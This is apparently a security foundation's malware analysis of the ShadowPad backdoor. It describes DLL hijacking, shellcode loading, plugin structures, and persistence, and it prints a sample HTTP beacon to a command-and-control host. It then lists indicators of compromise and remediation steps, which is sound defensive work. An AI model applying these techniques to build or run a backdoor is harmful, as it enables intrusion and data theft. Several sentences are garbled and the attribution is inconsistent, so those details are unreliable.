India Future Foundation

India Future Foundation's Analysis on ShadowPad Malware

Contents

Introduction

First identified sample: 2017
Current Status: Active
Type: Backdoor
Way of propagation: Trojanized code installers
Purpose: Gaining control of infected systems.
Features: Uses supply-chain attacks. The offender may use already installed malware with other used software.
Target: Construction, physical science producing, financial establishments.

ShadowPad is one of every of the most significant famous supply-chain attacks. Had it not been detected and patched quickly, it may probably have targeted many organizations worldwide. While analyzing the tools, techniques, and procedures utilized by the attackers, researchers concluded that some similarities exist that time to PlugX malware variants used by the Winnti APT, a famous Chinese-speaking cyberespionage cluster. This info, however, isn't enough to ascertain a definite affiliation to those actors. The first attack with ShadowPad was recorded in 2017. This backdoor has been typically employed in supply chain attacks like the CCleaner and ASUS hacks. ESET released its most up-to-date report regarding Winnti activities involving ShadowPad in Gregorian calendar month 20206.

Techniques, Tools, and Procedures

The ShadowPad malware is written in C and Assembly language, specifically for Windows OS. It provides a backdoor for gaining unauthorized access to the victim's data and transfer it to the C&C Server.

Key Feature: Uses hard-coded plug-ins that contain the main backdoor functionality.

Working

The backdoor's DLL Library is loaded in the RAM by performing DLL hijacking. The executable file is named "msmgs.exe," located at C:\ProgramData\Messenger, installed as the messenger service of the Windows operating system. The malicious library in the DLL file has two export functions, named DLLMain and the UnHookTosDtKbd. The SetTos KbdHook function searches the entire system to find any services called TosBtKbd.exe and terminates them. The shellcode is encrypted within the backdoor's body. After the above process, the shellcode is decrypted. It utilized obfuscation by using 2 JMP statements consecutively at a single memory address. The shellcode thus decrypted loads the primary payload in disassembled form without PE and MZ headers. The headers are passed after the 1st block of instructions. After this, the Kernel32 library and specified APIs are searched by the hash of their names. On receiving the API Addresses, the backdoor confirms the integrity of the header values. The backdoor then allocates an executable buffer for the module. The ECX register contains the address of the allocated executable buffer initially. Modules are loaded according to their Relative Virtual Addresses (RVAs). After all the relocations are performed, the structure is filled with null values. Next, the **BackDoorShadowPad.1** starts calling the import functions. The modified key that was created after the relocations are used and changed after each iteration. The import table also gets filled with null values after processing. Now, the control is passed to the loaded module. There are various arguments passed in the loaded module. Within the module, different switch cases are given. If Code 1 is called, the main functions of the modules are performed. First, the program registers an exception handler. It generates a debug string with info about the exceptions and stores it to %ALLUSERPROFILE%\error.log. After the handler, a table of auxiliary functions is formed. The Root Module proceeds the load the built-in modules. Each module gets stored in an encrypted form and is compressed using the QuickLZ Algorithm. The initial value of the encryption key is stored in the module header, the structure of which is as follows.

```
struct plugin_header
{
  DWORD key;
  DWORD flags;
  DWORD dword;
  DWORD compressed_len;
  DWORD decompressed_len;
};
```

After decrypting the module, the "flags" value is checked from the above structure. If the value inside "flag" is equal to "0x8000", it'll mean that the module contains only one header. If the Zero bit is set to 1, it will mean that the module body was compressed using the QuickLZ algorithm.

After unpacking, the malware proceeds to load the modules. Each module has the same format as the Root Module. After loading all the modules, the loader function calls its entry point with code 1. This way, the backdoor initializes the module and passes its pointers. After loading all the Root modules, the list of Install modules is searched and calls the 2nd functions in its function table, which contains two parts.

Installation

First, the backdoor gets the SeTcbPrivilege and SeDebugPrivilege privileges. After that, it gets the Config module to get the configuration files. Via the objects that store that list of loaded modules, the backdoor finds the necessary ones using the code. Then, the required function is called through the table. During the first step of the configuration initialization, the buffer stored in the Root module is checked. If the first four bytes of this buffer are X, this means the backdoor needs to create a default configuration. Otherwise, this buffer is an encoded configuration. The structure is stored in the same format as plug-ins — it is compressed using the QuickLZ algorithm and encrypted using the same algorithm used for plug-in encryption. After initializing the configuration module, the "mode" parameter is checked. There can be several values of "mode", restricted to the following set: {1,2,3,4,5,6,7}. If the value is not equal to these, the backdoor is installed successfully, and the main functions are then performed.

Backdoor Installation Process

During installation, the backdoor checks the current directory of the .exe file (msmgs.exe). If the path does not exist, the backdoor is launched for the first time. A mutex is created. The format of the mutex named snprintf is Global\%d%d%d. After this, the User Access Control(UAC) is checked. If disabled, the backdoor injects the Root module into it. The main msmsgs.exe and TosBtKbd.dll are copied to the directory specified in the off-bin-path parameter and installed as a service. If the service fails to start, the backdoor is registered in the registry. After installation, the backdoor attempts to inject the Root module into one of the processes specified in the Config file. If successful, a new process is created that interacts with the C&C Server (a separate thread is used for this function). A new registry key is made, or an existing key is opened, located at Software\Microsoft\<key>. The <key> value is also generated depending on the serial number of system volume. The key is also stored at HKLM or the HKCU. Next, the RegNotifyChangeKey keeps track of the changes that happen to the key. The backdoor extracts each value and loads it as a module.

Next, a random sequence of 3-9 bytes is produced to be written to the registry in SOFTWARE\key located in HKLM. **This is the value that is used as the ID of the infected device.** After this, the backdoor extracts the address of the first C&C server from the configurations file. <protocol>://<address>:<port> is the format of the URL. The backdoor refers to this URL and receives

a new address of the C&C server in the response, with the Domain Generation Algorithm. After this, a connection object is created that corresponds to the protocol specified to this server.

TCP

SOCKS4, SOCKS5, HTTP Proxy are the protocols supported when connecting over TCP.

```
struct packet_header
{
    DWORD key;
    DWORD id;
    DWORD module_code;
    DWORD compressed_len;
    DWORD decompressed_len;
};
```

HTTP

Data sent as a POST Request. The DNS Server from the configuration is used to resolve the address of the C&C server.

The backdoor receives a response from the server, which is further decrypted.

```
POST / HTTP/1.1
Accept: */*
Content-Length: 18
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; MRA 6.4
(build 8614); SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 1.1.4322)
Host: www.pneword.net
Connection: Keep-Alive
Cache-Control: no-cache

S;
....$..K..P....
```

Indicators of Compromise (IOCs)

Whenever a system gets compromised, several indications prove the existence of a particular malware. These are known as Indicators of Compromise (IOCs). Since ShadowPad is a backdoor malware, it runs in the background with other system processes. For that reason, it is difficult to confirm its existence visually.

Following are the IOCs of the ShadowPad malware.

This backdoor adds the following registry keys:

- *HKLM\Software\[DECIMAL DIGITS]*
- *HKCU\Software\[DECIMAL DIGITS]*
- *HKLM\Software\Microsoft\[RANDOM CHARACTERS]*
- *HKCU\Software\Microsoft\[RANDOM CHARACTERS]*

Following backdoors were found on the infected computers.

DETECTIONS	HASH (SHA1)
Backdoor.Win64.SHADOWPAD.AA	32466d8d232d7b1801f456fe336615e6fa5e6ffb 4dc5fadece500ccd8cc49cfcf8a1b59baee3382a 6f065eea36e28403d4d518b8e24bb7a915b612c3
Backdoor.Win64.SHADOWPAD.AD	556cd176ffb3a5576c77a1cf3d989ec88ce252da a570deda43eb424cc3578ba00b4d42d40044bd00
Backdoor.Win64.SHADOWPAD.AE	07ef26c53b62c4b38c4ff4b6186bda07a2ff40cb
Backdoor.Win64.SHADOWPAD.DAM	d78dc2061e829d4c729959f4f62978979bf09bf7
Backdoor.Win64.SHADOWPAD.SM	27fe9533d9acf50775dbec7ddc7666eab5ace2c4 42e559fd9e52040966a1e3a6a598209f5abd54a8 8702cb36e352f5364d93bd9c1c950451c6fc19c0 d80f117e75cba4b93e531609eb0b21761f1c1577

DNS queries for the following were sent without consent:

- *babkrglwhwf.com*
- *bafyvoruzgjitwr.com*
- *bktmpqpmxst.com*
- *dghqjqzavqn.com*
- *dqzsdadqlmb.com*
- *foryzedensrcd.com*
- *helolupazyjwpmh.com*
- *hepglcvyrinev.com*
- *huxerorebmzir.com*
- *jkvmdmjyfcvkf.com*
- *jujaxshudofyhep.com*
- *jyhmhgvipodapyh.com*
- *lenszqjmdilgdoz.com*
- *lofutenctezchqp.com*
- *lsbctwhebuv.com*
- *nizkfqzyfkr.com*
- *nylalobghyhirgh.com*
- *pcrqbuzmhqhsr.com*
- *psdghsbujex.com*
- *ribotqtonut.com*
- *rmxwpenqvkpyb.com*
- *rstqnaxedqd.com*
- *rwpynsrglgzuf.com*
- *tcvibcfkzalat.com*
- *tczafklirkl.com*
- *tgpupqtylejgb.com*
- *tmnkzqjapwvax.com*
- *tqhejwrujqtudof.com*
- *vgfmvujonglwrgr.com*
- *vwnkxgfuxkbanex.com*
- *vwrcbohspufip.com*
- *xmlwjexobatcfwj.com*
- *xmponmzmxkxkh.com*
- *xwdyhobirwhyjyz.com*
- *zgjevclifqpexor.com*
- *zuvadsxstcx.com*

The following DLL file is present on the system:

Nssock2.dll.

Impact of the ShadowPad Malware

The ShadowPad Malware has had a negative impact on systems worldwide. The malware is coded by the hacker group recognized as RedEcho. Its primary targets so far have been Russia, the United States, Japan, South Korea, Germany, Mongolia, Belarus, India, and Brazil.

Until now, the following industries have been attacked by the malware:-

1) Energy
2) Medical
3) Gaming
4) Software Development
5) Telecom
6) Finance

In January 2019, the supply-chain attack **Operation ShadowHammer** was launched to target ASUS users. The executable files, available on the official website, contained the malware. This attack aimed to gain access to a large number of users identified with their network MAC Addresses. The second incident was the Mumbai Power Blackout in October 2020. This was, allegedly, the act of the Chinese state-sponsored hacker group named **RedEcho**, using the ShadowPad malware to infect the Indian power grid.

Remediation Steps

- It is always advised to keep a backup of essential data in case the system gets compromised.
- Change all the passwords immediately from an uninfected system since the malware generally steals credentials.
- Having strict firewall rules and having reliable anti-malware / anti-virus software installed on the system is recommended.
- Update all outdated software.
- Block DNS requests to the malicious C2 domains mentioned in the IOCs section.

References

- https://www.zdnet.com/article/shadowpad-backdoor-in-software-used-by-the-enterprise-exposed/
- https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/shadowpad-new-activity-from-the-winnti-group/
- https://vms.drweb.com/virus/?i=21917456
- https://www.kaspersky.com/about/press-releases/2017_shadowpad-how-attackers-hide-backdoor-in-software-used-by-hundreds-of-large-companies-around-the-world
- https://apt.securelist.com/apt/shadowpad
- https://theprint.in/theprint-essential/redecho-shadowpad-how-chinese-hackers-may-have-accessed-critical-indian-computer-systems/614523/

Contact us

India Future Foundation

Phone: +91-1244045954, +91-9312580816
Email: helpline@indiafuturefoundation.com
BSMT, Building no. 2731 EP, Sector 57, Golf Course Extension Road,
Gurugram, Haryana, India – 122003